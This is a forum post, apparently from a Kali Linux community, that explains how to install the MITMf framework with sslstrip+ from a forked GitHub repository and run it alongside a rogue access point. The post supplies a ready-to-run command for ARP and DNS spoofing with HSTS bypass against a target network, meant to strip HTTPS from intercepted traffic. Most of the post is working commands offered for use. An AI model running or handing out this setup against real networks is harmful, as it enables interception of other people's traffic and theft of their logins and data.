Results 1 to 11 of 11

Thread: Installing MIMTf - SSLslip+ for advanced MITM Attacks

Threaded View

Previous Post Previous Post   Next Post Next Post
  1. #1
    Join Date
    2013-Jul
    Posts
    843

    Installing MIMTf - SSLslip+ for advanced MITM Attacks

    Want to try and defeat https during a MITM attack with kali2.0?

    MITMf contains sslslip+ and can parse some https requests.

    !!!!If you want to install DO NOT ENTER!!!

    apt-get install mitmf

    You will install a version BUT it will not work

    Go here instead!!!!!

    http://null-byte.wonderhowto.com/how...mitmf-0162322/

    Read it BUT use this address

    git clone https://github.com/CiuffysHub/MITMf

    cd MITMf

    chmod 777 setup-fixed.sh

    ./setup-fixed.sh

    Now load these dependencies

    apt-get install python-pypcap
    pip2 install watchdog
    pip2 install dsnlib


    This program can work very well with PwnStar9.0(PS9) very well indeed.
    If you diable apache2 during PS9 initialization and provide internet access then run

    MITMf# ./mitmf.py -i at0 -l 53 --spoof --hsts --arp --dns --gateway 192.168.1.1 --target 192.168.0.1

    Where:

    at0 is the tap interface made by airbase-ng

    Gateway here is the Gateway the device connected to the internet is using

    gateway 192.168.1.1

    cat /etc/resolv.conf will give you the DNS

    --target 192.168.0.1

    assigned by PS9 to at0 during setup

    We are embedding this module into Pwnstar9.0. This newer version will have a captive portal https passthu Our own andoid phones connected to the rogue and started pumping all their data thru mitmf.

    MTeams

    PS Sorry about the title should be MITMf

    our mistake!!!
    Last edited by mmusket33; 2015-09-17 at 09:31.

Similar Threads

  1. Mitm Attacks +sslstrip fixed by updates?
    By ajay85 in forum TroubleShooting Archive
    Replies: 2
    Last Post: 2014-05-03, 03:10

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •